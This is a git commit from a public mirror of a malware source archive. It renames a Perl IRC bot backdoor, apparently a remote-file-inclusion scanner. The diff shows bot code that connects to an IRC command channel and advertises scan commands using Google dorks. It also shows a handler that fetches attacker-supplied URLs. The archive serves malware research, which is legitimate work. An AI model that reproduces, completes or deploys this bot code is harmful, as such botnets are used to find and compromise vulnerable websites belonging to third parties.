13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00

Rename Backdoor.Perl.IRCBot.n to Backdoor.Perl.IRCBot.Scanner.m

This commit is contained in:
vxunderground 2020-11-14 00:54:08 -06:00 committed by GitHub
parent b6e492132e
commit 5b1a652ec2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -40,13 +40,13 @@ print $dsp "USER infira 8 * : infira \r\n";
print $dsp "JOIN $channel\r\n";
print $dsp "PRIVMSG $channel :9,1Priv8 Scaner Pornit!! \r\n";
print $dsp "PRIVMSG $channel :8,1Comanda Scan:9,1 !scan bug dork 0,1& 4,1!google bug dork \r\n";
print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
sleep(1);
print $dsp "NICK $nickname\r\n";
print $dsp "USER SeaNet * : SeaNet \r\n";
print $dsp "JOIN $chanres\r\n";
print $dsp "PRIVMSG $chanres :9,1Aici vin rezultatele :) \r\n";
print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
while ( $line = <$dsp> ) {
@ -123,7 +123,7 @@ while ( $line = <$dsp> ) {
}
if ( $line =~ /PRIVMSG $channel :!id/ )
{ ## ©© Script made by kangkung . Don't remove this comment !
{ ## ©© Script made by kangkung . Don't remove this comment !
my $testid = $id;
my $req = HTTP::Request->new( GET => $testid );
my $ua = LWP::UserAgent->new();